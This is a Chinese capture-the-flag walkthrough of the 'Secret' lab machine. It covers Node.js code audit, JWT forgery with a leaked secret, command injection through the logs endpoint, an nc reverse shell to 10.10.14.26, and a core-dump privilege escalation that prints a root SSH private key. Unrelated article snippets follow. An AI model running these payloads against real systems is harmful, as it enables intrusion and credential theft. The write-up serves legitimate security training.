信息收集

发现目标主机开放了web服务和ssh服务
在这里插入图片描述
我们访问web服务,发现是一个普通的网站
在这里插入图片描述

探测路径并没有发现任何有价值的信息,我们将源码下载下来进行代码审计。在routes文件夹下,有4个js文件
在这里插入图片描述
我们查看一下auth.js文件

const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')router.post('/register', async (req, res) => {// validationconst { error } = registerValidation(req.body)if (error) return res.status(400).send(error.details[0].message);// check if user existsconst emailExist = await User.findOne({email:req.body.email})if (emailExist) return res.status(400).send('Email already Exist')// check if user name exist const unameexist = await User.findOne({ name: req.body.name })if (unameexist) return res.status(400).send('Name already Exist')//hash the passwordconst salt = await bcrypt.genSalt(10);const hashPaswrod = await bcrypt.hash(req.body.password, salt)//create a user const user = new User({name: req.body.name,email: req.body.email,password:hashPaswrod});try{const saveduser = await user.save();res.send({ user: user.name})}catch(err){console.log(err)}});// login router.post('/login', async  (req , res) => {const { error } = loginValidation(req.body)if (error) return res.status(400).send(error.details[0].message);// check if email is okay const user = await User.findOne({ email: req.body.email })if (!user) return res.status(400).send('Email is wrong');// check password const validPass = await bcrypt.compare(req.body.password, user.password)if (!validPass) return res.status(400).send('Password is wrong');// create jwt const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )res.header('auth-token', token).send(token);})router.use(function (req, res, next) {res.json({message: {message: "404 page not found",desc: "page you are looking for is not found. "}})
});module.exports = router

看到源代码后,不难理解其逻辑,程序的逻辑就是先要注册用户,并检查邮件和用户名是否存在,并将密码进行加密。然后程序跳转到登录页面,登录页面查看用户输入的邮件名和密码是否正确,并生成一个jwt的token值发送给用户。

auth.js文件的逻辑理解完之后,我们再审计private.js这个js文件,这个文件是去判断我们当前用户是否是管理员,如果是管理员,那么就返回一个属于管理员的token值给我们。logs目录的作用我们后面在阐述。

const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');router.get('/priv', verifytoken, (req, res) => {// res.send(req.user)const userinfo = { name: req.user }const name = userinfo.name.name;if (name == 'theadmin'){res.json({creds:{role:"admin", username:"theadmin",desc : "welcome back admin,"}})}else{res.json({role: {role: "you are normal user",desc: userinfo.name.name}})}
})router.get('/logs', verifytoken, (req, res) => {const file = req.query.file;const userinfo = { name: req.user }const name = userinfo.name.name;if (name == 'theadmin'){const getLogs = `git log --oneline ${file}`;exec(getLogs, (err , output) =>{if(err){res.status(500).send(err);return}res.json(output);})}else{res.json({role: {role: "you are normal user",desc: userinfo.name.name}})}
})router.use(function (req, res, next) {res.json({message: {message: "404 page not found",desc: "page you are looking for is not found. "}})
});module.exports = router

漏洞利用

那么我们可以先跟着程序的逻辑走,先注册一个用户,我们使用curl命令进行注册

curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "pyhpyh","email":"pyhpyh@pyhpyh.com","password":"123456"}'

在这里插入图片描述
注册成功后我们尝试登录,获取到对应的一个jwt的json值

curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "pyhpyh@pyhpyh.com","password":"123456"}'

在这里插入图片描述
我们拿到jwt.io这个网站上进行解密,可以看到如下的信息
在这里插入图片描述
我们以这个token值去请求priv页面时,页面返回的是json内容给我们,表名我们当前还是一个普通用户

curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU1OTEwNTQ4OTBkMzA0NWZiZGVjZTkiLCJuYW1lIjoicHlocHloIiwiZW1haWwiOiJweWhweWhAcHlocHloLmNvbSIsImlhdCI6MTY0MjQzNDk3MX0.a0IawKMSfT6K0c3MnpLFUG9DdzBGETBaBidIVvI232k'

在这里插入图片描述
那么我们这里就可以使用越权的方式进行对我们当前用户的权限进行提升。首先我们先获取到网站本身对应的TOKEN_SECRETgXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
在这里插入图片描述
这里有两种方式可以获取到theadmin的token值,第一种方式是直接在jwt.io网站上获取,另一种是借助github上的开源工具,两种方法都是可行的。
在这里插入图片描述
在这里插入图片描述
token改变完成后,我们再进行请求,验证我们的token是否有效,结果是成功的。
在这里插入图片描述
第二种方法就是,利用jwt_tools这个工具直接生成一个有效的theadmin对应的token值。-I参数是指更改现有的jwt_token值,-S是指加密的方式,-pc是设置payload的对应字段名,-pv是payload对应的字段值,-p是指密码

python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2MmM4MjJiODI1ZTA0NmIwNzFiYTIiLCJuYW1lIjoicHlocHloIiwiZW1haWwiOiJweWhweWhAcHlocHloLmNvbSIsImlhdCI6MTY0MjQ3NDY0Mn0.veoEcejKaj-TjQuBu63pwJmyaU1hzx3qV7GgQkbZ6R4

在这里插入图片描述
至此,我们虽然是得到了admin的token令牌,但是我们还得找到可以利用的点。在审计private.js文件时,发现了logs目录,这个目录后面要传入一个files参数,这个参数执行的条件恰巧就是必须得以管理员的权限运行,并且是以命令的形式执行,那这里就可能存在RCE漏洞了。我们简单检验了一下
在这里插入图片描述

curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2MmM4MjJiODI1ZTA0NmIwNzFiYTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InB5aHB5aEBweWhweWguY29tIiwiaWF0IjoxNjQyNDc0NjQyfQ.C-80kPcZ5PSO1qK-VNL1m4PACDJO8jJ-qPMrTp19u_A'

在这里插入图片描述
从这个现象上看,有点类似于命令注入漏洞。我们稍微更改一下参数变量的值

curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2MmM4MjJiODI1ZTA0NmIwNzFiYTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InB5aHB5aEBweWhweWguY29tIiwiaWF0IjoxNjQyNDc0NjQyfQ.C-80kPcZ5PSO1qK-VNL1m4PACDJO8jJ-qPMrTp19u_A'

在这里插入图片描述
那我们就可以反弹一个shell到本地终端上了

curl 'http://secret.htb/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fsh%20-i%202%3E%261%20%7C%20nc%2010.10.14.26%204444%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2MmM4MjJiODI1ZTA0NmIwNzFiYTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InB5aHB5aEBweWhweWguY29tIiwiaWF0IjoxNjQyNDc0NjQyfQ.C-80kPcZ5PSO1qK-VNL1m4PACDJO8jJ-qPMrTp19u_A'

在这里插入图片描述
在这里插入图片描述
我们首先查找具有执行权限的文件,引起我注意的是/opt/count这个文件
在这里插入图片描述
进入opt目录后,发现存在一个code.c文件
在这里插入图片描述

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>void dircount(const char *path, char *summary)
{DIR *dir;char fullpath[PATH_MAX];struct dirent *ent;struct stat fstat;int tot = 0, regular_files = 0, directories = 0, symlinks = 0;if((dir = opendir(path)) == NULL){printf("\nUnable to open directory.\n");exit(EXIT_FAILURE);}while ((ent = readdir(dir)) != NULL){++tot;strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);strcat(fullpath, "/");strncat(fullpath, ent->d_name, strlen(ent->d_name));if (!lstat(fullpath, &fstat)){if(S_ISDIR(fstat.st_mode)){printf("d");++directories;}else if(S_ISLNK(fstat.st_mode)){printf("l");++symlinks;}else if(S_ISREG(fstat.st_mode)){printf("-");++regular_files;}else printf("?");printf((fstat.st_mode & S_IRUSR) ? "r" : "-");printf((fstat.st_mode & S_IWUSR) ? "w" : "-");printf((fstat.st_mode & S_IXUSR) ? "x" : "-");printf((fstat.st_mode & S_IRGRP) ? "r" : "-");printf((fstat.st_mode & S_IWGRP) ? "w" : "-");printf((fstat.st_mode & S_IXGRP) ? "x" : "-");printf((fstat.st_mode & S_IROTH) ? "r" : "-");printf((fstat.st_mode & S_IWOTH) ? "w" : "-");printf((fstat.st_mode & S_IXOTH) ? "x" : "-");}else{printf("??????????");}printf ("\t%s\n", ent->d_name);}closedir(dir);snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);printf("\n%s", summary);
}void filecount(const char *path, char *summary)
{FILE *file;char ch;int characters, words, lines;file = fopen(path, "r");if (file == NULL){printf("\nUnable to open file.\n");printf("Please check if file exists and you have read privilege.\n");exit(EXIT_FAILURE);}characters = words = lines = 0;while ((ch = fgetc(file)) != EOF){characters++;if (ch == '\n' || ch == '\0')lines++;if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')words++;}if (characters > 0){words++;lines++;}snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);printf("\n%s", summary);
}int main()
{char path[100];int res;struct stat path_s;char summary[4096];printf("Enter source file/directory name: ");scanf("%99s", path);getchar();stat(path, &path_s);if(S_ISDIR(path_s.st_mode))dircount(path, summary);elsefilecount(path, summary);// drop privs to limit file writesetuid(getuid());// Enable coredump generationprctl(PR_SET_DUMPABLE, 1);printf("Save results a file? [y/N]: ");res = getchar();if (res == 121 || res == 89) {printf("Path: ");scanf("%99s", path);FILE *fp = fopen(path, "a");if (fp != NULL) {fputs(summary, fp);fclose(fp);} else {printf("Could not open %s for writing\n", path);}}return 0;
}

上述代码是指在代码中启用核心转储,这有助于分析崩溃转储,因此我们需要获取两个shell,具体参考资料https://man7.org/linux/man-pages/man2/prctl.2.html。我们首先先运行这个count文件,并输入相对应的参数值,目的是获取到root的ssh密钥
在这里插入图片描述
我们在另一个终端上结束这个进程,它会生成一个日志文件。通过使用 apport-unpack 我们可以轻松调试程序的崩溃。所有的崩溃数据都存储在转储目录下,CoreDump 有我们需要的信息。
在这里插入图片描述

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

我们拿到ssh的root密钥后,就可以尝试连接root用户了
在这里插入图片描述

总结

这个靶机还是相当出色的一个靶机,它主要考查了代码审计的能力,代码包含了js,c这些高级的编程语言,前期拿取webshell主要考查了js前端的代码审计能力,后期提权是核心转储,这个要求真的很高了,这个靶机我觉得应该设置为Medium难度,但是它确实Easy,有点意外。

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. 学习C语言的第11天:for语句和循环嵌套

    for语句&#xff1a; 前言&#xff1a; 循环的基本结构离不开三个基本动作&#xff1a; 初始化计数器循环条件更新计数器 int count0; while(count<10) {printf("fishc!\n);countcount1;注意事项&#xff1a; 1.C99允许再for语句的表达式1中定义变量(在for循环里定义…...

    2024/4/20 6:33:49
  2. 将两个集合中共同的元素取出组成新的集合

    一、思路&#xff1a; 利用集合removeAll()方法 1、A:[3,4,5,6]-B:[1,2,3][4,5,6] 2、A:[3,4,5,6]- c:[4,5,6] [3] 示例&#xff1a; Testpublic void A() throws ParseException, IOException {//集合一List list1new ArrayList();list1.add("1");list1.add(&q…...

    2024/4/14 16:09:25
  3. MySQL5.7 Linux下单机部署

    1.云硬盘挂载 # 查看挂盘名称 fdisk -l# 创建物理卷 pvcreate /dev/vdb# 创建卷组 vgcreate data_vg /dev/vdb# 创建逻辑卷 lvcreate -l 100%free -n data data_vg# 格式化磁盘 mkfs.xfs /dev/data_vg/data# 创建挂载目录 mkdir -p /data1# 挂载 mount /dev/data_vg/data /dat…...

    2024/4/14 16:09:35
  4. 计算机组成原理 #考研 #基础课

    第零章 本文简介 这篇文章是本人在考研过程中做总结的文章&#xff0c;这段时间会陆续更新&#xff0c;复习参考资料是王道计算机组成原理单科书&#xff0c;在此篇文章中&#xff0c;我会尽量的把书中的一些晦涩难懂的名词解释成让读者比较容易理解的词。会把在一些概念和理念…...

    2024/4/14 16:09:50
  5. springcloud-openfeign

    目录 一、什么是Feign 二、什么是openfeign 三、使用feign进行开发 四、feign的日志配置 五、契约配置 六、设置超时时间 一、什么是Feign Feign是Netflix开发的声明式、模板化的HTTP客户端&#xff0c;其灵感来自Retrofit、JAXRS-2.0以及WebSocket。Feign可帮助我们更加…...

    2024/4/28 9:27:13
  6. 好用的前端技术学习网站

    好用的前端技术学习网站今天推荐一个超好用的前端学习网站&#xff1a;百度前端技术学园 这个网站是由百度建设&#xff0c;里面就像一个网站的聚合&#xff0c;把其他好的内容收集在一起&#xff0c;然后编写好前端的学习目录&#xff0c;一步一步的向后学&#xff0c;还有练习…...

    2024/4/14 16:09:25
  7. 香港2022年最受欢迎的行业,你了解吗?

    现时香港的就业情况如何?在新的一年里。今年香港的薪酬和职业发展会否有所改善&#xff1f;这一定是每个想在香港工作的人最关心的问题。 事实上&#xff0c;香港作为国际金融中心&#xff0c;即使在疫情期间也有源源不断的资源。据香港发布的《2021年第二季度工资总额统计报告…...

    2024/4/27 22:20:22
  8. 2022-2028全球及中国数字化油田解决方案行业研究及十四五规划分析报告

    2022-2028全球及中国数字化油田解决方案行业研究及十四五规划分析报告 【报告篇幅】&#xff1a;88 【报告图表数】&#xff1a;112 【报告出版机构】&#xff1a;恒州博智(QYR)软件及商业服务研究中心 受新冠肺炎疫情等影响&#xff0c;QYResearch调研显示&#xff0c;2021年…...

    2024/4/14 16:09:35
  9. router.beforeEach跳转到404页面

    判断时候路由权限不匹配就让跳转的404 直接netx(/404) 会路由死循环 要里面加已成判断,因为 /404会在进入前 又要进入beforeEach中 &#xff0c;这样就会一直循环下去,改成下面这样就行了if (to.path /404) { next()} else { //这就是跳出循环的关键next(/404)}...

    2024/4/14 16:09:35
  10. Unity Shader数学基础——矩阵

    矩阵的定义 由mn个数a&#xff0c;排成的m行n列的数表称为m行n列的矩阵&#xff0c;简称mn矩阵。记作&#xff1a; 这mn个数称为矩阵A的元素&#xff0c;简称为元&#xff0c;数a位于矩阵A的第i行第j列&#xff0c;称为矩阵A的(i,j)元&#xff0c;以数a为(i,j)元的矩阵可记为(…...

    2024/4/16 20:17:23
  11. 摸鱼默写滕王阁序

    豫章故郡&#xff0c;洪都新府&#xff0c;星分翼轸&#xff0c;地接衡庐&#xff0c;襟三江而带五湖&#xff0c;控蛮荆而引瓯越&#xff0c;物华天宝&#xff0c;龙光射牛斗之墟&#xff0c;人杰地灵&#xff0c;徐孺下陈蕃之榻。雄州雾列&#xff0c;俊采星驰&#xff0c;台…...

    2024/4/19 15:54:00
  12. web安全day49:SQL注入原理、危害、分类,动手写MYSQL最基本操作命令

    目录 漏*洞原理 注入点可能存在的位置 漏*洞危害 注入方式分类 注入点的判断 MYSQL数据库基本操作命令 查看数据表 mysql常用函数与参数 逻辑运算 注入流程 结构化查询语言&#xff08;structured query language&#xff0c;SQL)&#xff0c;是一种用于数据库中的标…...

    2024/4/7 4:36:23
  13. 2022-2028全球及中国商用飞机窗户和挡风玻璃行业研究及十四五规划分析报

    2022-2028全球及中国商用飞机窗户和挡风玻璃行业研究及十四五规划分析报告 【报告篇幅】&#xff1a;108 【报告图表数】&#xff1a;143 【报告出版机构】&#xff1a;恒州博智(QYR)汽车及交通研究中心 受新冠肺炎疫情等影响&#xff0c;QYResearch调研显示&#xff0c;2021年…...

    2024/4/14 16:09:45
  14. Ps 初学者教程「6」如何使用色阶功能提高照片的对比度和亮度?

    很多照片都可以通过增加对比度和微调亮度来改善图像质量&#xff0c;可以通过 Photoshop 2022中的色阶功能来做到这一点。小编带大家了解如何在 Photoshop 2022中使用色阶功能改善暗哑照片的色彩亮度和对比度。 <a href"https://www.macz.com/mac/8462.html?idNzY4OT…...

    2024/4/15 6:03:02
  15. 2022-2028全球及中国商用蛋加工机行业研究及十四五规划分析报告

    【报告出版机构】&#xff1a;恒州博智(QYR)机械及设备研究中心 受新冠肺炎疫情等影响&#xff0c;QYResearch调研显示&#xff0c;2021年全球商用蛋加工机市场规模大约为 亿元&#xff08;人民币&#xff09;&#xff0c;预计2028年将达到 亿元&#xff0c;2022-2028期间年复…...

    2024/4/18 11:50:21
  16. 数据库实验

    实验一&#xff1a;创建库表 创建 STUDENT 数据库&#xff0c;根据学生信息、课程信息和选修信息设计学生关 系、课程关系 、选课关系&#xff0c;并创建对应的基本表 student 、course 、 SC create table STUDENT ( Sno varchar(30) not null, Sname varchar(30), Ssex nch…...

    2024/4/19 8:34:41
  17. Spring系列之Spring Web MVC-20

    目录Spring Web MVCDispatcherServlet上下文层次结构特殊BeanWeb MVC 配置程序配置工作原理异常视图解析配置重定向转发内容协商过滤器FormContentFilter转发的标头ShallowEtagHeaderFilterCORS带注释的控制器组件扫描请求映射URI 模式模式比较后缀匹配消费者类型生产者媒体类型…...

    2024/4/19 21:35:42
  18. 线程池的代码使用

    线程池的代码使用 今天主要是看下别人代码的使用&#xff0c;看到了别人这么一段代码 LinkedBlockingQueue<Runnable> taskQueue new LinkedBlockingQueue<>();ExecutorService executorService new ThreadPoolExecutor(MAX_THREAD_NUM, MAX_THREAD_NUM,0, Time…...

    2024/4/14 16:10:26
  19. PCM开发板模块寄存器介绍

    第一节 寄存器介绍 PCM开发板模块是使用指令编程&#xff0c;绝大部分指令是使用寄存器存取数据&#xff0c;所以首先必须了解寄存器类型。 寄存器主要是临时存取数据用&#xff0c;掉电不保持&#xff0c;如果需要掉电保持的数据&#xff0c;请参考指令集的EEPROM指令。 PCM开…...

    2024/4/18 16:22:12
  20. 手把手教你设计师必备的专业技能

    算算时间&#xff0c;成为一名UI设计师也快两年了。前不久&#xff0c;跟大家分享了我入行这一年多以来的心得体会&#xff0c;发现反响挺好&#xff0c;到目前为止&#xff0c;依然有不少萌新小伙伴私聊我转行的相关问题。 UI必备的设计技能 我发现有很多准备转行的朋友之前…...

    2024/4/5 5:08:26

最新文章

  1. 【linux】初步认识文件系统

    初步认识文件系统 前置知识的简单了解简单回顾C语言的文件操作stdin&stdout&stderr 系统文件IOopen函数的返回值文件描述符fd打开文件背后的操作文件描述符的分配规则 前置知识的简单了解 文件包括了文件内容和文件属性两个部分(文件内容顾名思义就是文件里面的数据等…...

    2024/5/3 20:59:59
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. Vue通过自定义指令实现元素平滑上升的动画效果(可以自定义动画时间、动画效果、动画速度等等)。

    1、演示 2、介绍 这个指令不是原生自带的&#xff0c;需要手动去书写&#xff0c;但是这辈子只需要编写这一次就好了&#xff0c;后边可以反复利用。 3、关键API IntersectionObserver IntersectionObserver 是一个用于监测元素是否进入或离开视口&#xff08;viewport&#x…...

    2024/4/30 3:06:26
  4. 开启 Keep-Alive 可能会导致http 请求偶发失败

    大家好&#xff0c;我是蓝胖子&#xff0c;说起提高http的传输效率&#xff0c;很多人会开启http的Keep-Alive选项&#xff0c;这会http请求能够复用tcp连接&#xff0c;节省了握手的开销。但开启Keep-Alive真的没有问题吗&#xff1f;我们来细细分析下。 最大空闲时间造成请求…...

    2024/5/1 13:02:34
  5. JVM专题——类文件结构

    本文部分内容节选自Java Guide和《深入理解Java虚拟机》, Java Guide地址: https://javaguide.cn/java/jvm/class-file-structure.html &#x1f680; 基础&#xff08;上&#xff09; → &#x1f680; 基础&#xff08;中&#xff09; → &#x1f680;基础&#xff08;下&am…...

    2024/5/1 7:18:39
  6. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  7. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/5/2 16:16:39
  8. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  9. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/2 9:28:15
  10. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  11. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  12. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  13. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  14. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  15. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/5/2 15:04:34
  16. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  17. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

